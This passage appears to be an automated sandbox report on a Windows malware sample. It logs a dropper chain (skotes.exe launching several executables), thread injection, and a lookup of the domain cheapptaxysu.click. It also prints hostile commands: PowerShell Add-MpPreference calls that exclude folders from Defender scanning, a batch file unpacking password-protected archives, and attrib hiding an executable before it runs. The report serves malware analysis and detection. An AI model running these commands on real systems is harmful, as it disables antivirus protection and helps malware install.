Source: fe64902db3.exe, 00000023.00000002.3174009669.00000000001B1000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: cheapptaxysu.click

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

Thread register set: target process: 5008

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe "C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe "C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe "C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe "C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe "C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017258001\c9ea911eaa.exe "C:\Users\user\AppData\Local\Temp\1017258001\c9ea911eaa.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\jcyhknhe"
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Source: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"

Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe

Code function: 7_2_00402744 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

7_2_00402744

Source: fe64902db3.exe, 00000023.00000002.3174283511.000000000038F000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Program Manager
Source: 09c0b8253b.exe, 0000002C.00000002.3260168571.0000000000BDE000.00000040.00000001.01000000.00000015.sdmp	Binary or memory string: >Program Manager
Source: skotes.exe, skotes.exe, 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: Program Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_0060DD91 cpuid

6_2_0060DD91

Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe

Code function: GetLastError,GetLastError,wsprintfW,GetEnvironmentVariableW,GetEnvironmentVariableW,GetLastError,??2@YAPAXI@Z,GetEnvironmentVariableW,GetLastError,lstrcmpiW,??3@YAXPAX@Z,??3@YAXPAX@Z,SetLastError,lstrlenA,??2@YAPAXI@Z,GetLocaleInfoW,_wtol,MultiByteToWideChar,

7_2_0040247D

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017258001\c9ea911eaa.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017258001\c9ea911eaa.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B0CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_00B0CBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_005F65E0 LookupAccountNameA,

6_2_005F65E0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00632517 GetTimeZoneInformation,

6_2_00632517

Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe

Code function: 7_2_00405BFC ?_set_new_handler@@YAP6AHI@ZP6AHI@Z@Z,GetVersionExW,GetCommandLineW,lstrlenW,wsprintfW,_wtol,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetModuleFileNameW,_wtol,??2@YAPAXI@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,wsprintfW,_wtol,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetCommandLineW,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetCurrentProcess,SetProcessWorkingSetSize,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,CoInitialize,lstrlenW,_wtol,??3@YAXPAX@Z,??3@YAXPAX@Z,GetKeyState,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,GetFileAttributesW,??3@YAXPAX@Z,??3@YAXPAX@Z,_wtol,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,SetLastError,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,SetCurrentDirectoryW,??3@YAXPAX@Z,??3@